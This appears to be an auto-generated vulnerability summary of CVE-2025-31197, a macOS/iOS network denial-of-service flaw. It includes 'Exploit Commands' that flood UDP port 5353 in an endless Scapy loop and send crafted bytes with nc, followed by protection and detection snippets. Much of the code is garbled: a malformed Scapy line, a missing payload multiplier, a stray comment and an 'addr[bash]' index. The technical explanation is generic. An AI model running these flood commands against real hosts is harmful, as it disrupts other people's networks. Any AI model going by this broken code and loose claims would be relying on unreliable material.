How CVE-2025-31197 Works
This vulnerability resides in Apple’s macOS and related operating systems due to insufficient input validation in network service handling. A local network attacker can craft malicious packets targeting a vulnerable service, triggering improper memory handling and causing app termination (denial of service). The flaw stems from missing bounds checks in network protocol parsing, allowing malformed data to disrupt process execution. Affected versions fail to sanitize input during inter-process communication (IPC), leading to crashes. Patched versions enforce stricter validation, preventing exploitation.
DailyCVE Form
Platform: macOS/tvOS/iOS/visionOS
Version: Sequoia 15.4, Ventura 13.7.5, Sonoma 14.7.5, iOS/iPadOS 17.7.6/18.4
Vulnerability: DoS via network packet
Severity: Medium
Date: 04/29/2025
What Undercode Say:
Analytics:
- Attack vector: Local network (adjacent)
- Exploitability: Low complexity, no privileges required
- Impact: Availability (DoS)
Exploit Commands:
1. Craft malicious packet using Scapy:
from scapy.all import pkt = IP(dst="target_ip")/UDP(dport=5353)/Raw(load="\x00"1000) send(pkt, loop=1)
2. Crash test via `nc`:
echo -ne "\x00\x01\x02" | nc -u target_ip 5353
Protection Commands:
1. Update Apple OS:
softwareupdate --install --all
2. Block suspicious UDP ports (e.g., 5353/mDNS):
sudo pfctl -e echo "block in proto udp from any to any port 5353" | sudo pfctl -f -
Detection Code (Python):
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 5353))
while True:
data, addr = s.recvfrom(1024)
if len(data) > 512: Abnormal packet size
print(f"Exploit attempt from {addr[bash]}")
Mitigation Steps:
- Disable unused network services:
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
- Enable strict firewall rules via
pf.conf. - Monitor logs for UDP flood patterns:
log stream --predicate 'eventMessage contains "mDNSResponder"'
References:
- Apple Security Updates: HT211100
- CPE: `cpe:2.3:o:apple:macos::::::::` (up to 14.7.4)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
